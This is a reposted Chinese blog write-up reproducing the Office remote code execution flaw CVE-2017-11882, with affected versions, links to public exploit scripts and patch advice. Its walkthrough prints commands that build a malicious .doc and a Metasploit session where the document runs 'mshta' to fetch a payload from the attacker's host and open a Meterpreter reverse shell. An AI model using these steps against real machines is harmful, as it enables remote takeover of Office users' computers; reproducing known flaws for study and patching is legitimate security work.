隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)相关的知识,希望对你有一定的参考价值。

Preface

  这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。

  利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。

  主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。

影响版本

  • Office 365
  • Microsoft Office 2000   
  • Microsoft Office 2003   
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

复现过程

国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882

这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/

生成漏洞doc文件弹计算器

  生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)

starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
[*] Done ! output file >> test.doc <<

  用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。

   除了可以弹计算器外,还能获取shell。

生成漏洞doc文件拿shell

  这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:

  我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
/usr/share/metasploit-framework/modules/exploits/windows/new-exps
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
PS_shell.rb

  这样在启动msf时就能直接使用了:

msf > use exploit/windows/new-exps/PS_shell

  漏洞利用过程:

msf > use exploit/windows/new-exps/PS_shell 
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.102:4444 
msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://192.168.1.102:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.102:8080/abc"

  从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc

  我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:  

starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc
[*] Done ! output file >> test.doc <<

  再用Office打开这个doc,就能拿到meterpreter了:

  OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)

 

  更多手法请参考:

    CVE-2017-11882漏洞复现和利用

 

漏洞修复

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补
 
(2)开启Windows Update功能,定期对系统进行自动更新

参考

  CVE-2017-11882利用

  CVE-2017-11882的复现、利用技巧以及修复方案

以上是关于隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)的主要内容,如果未能解决你的问题,请参考以下文章

Office远程代码执行漏洞CVE-2017-0199复现

Office CVE-2017-8570 远程代码执行漏洞复现

cve-2017-11882生成office恶意文件

CVE-2017-11882-Office远程代码执行漏洞复现

Office CVE-2017-8570远程代码执行漏洞复现

Office--CVE-2017-11882远程代码执行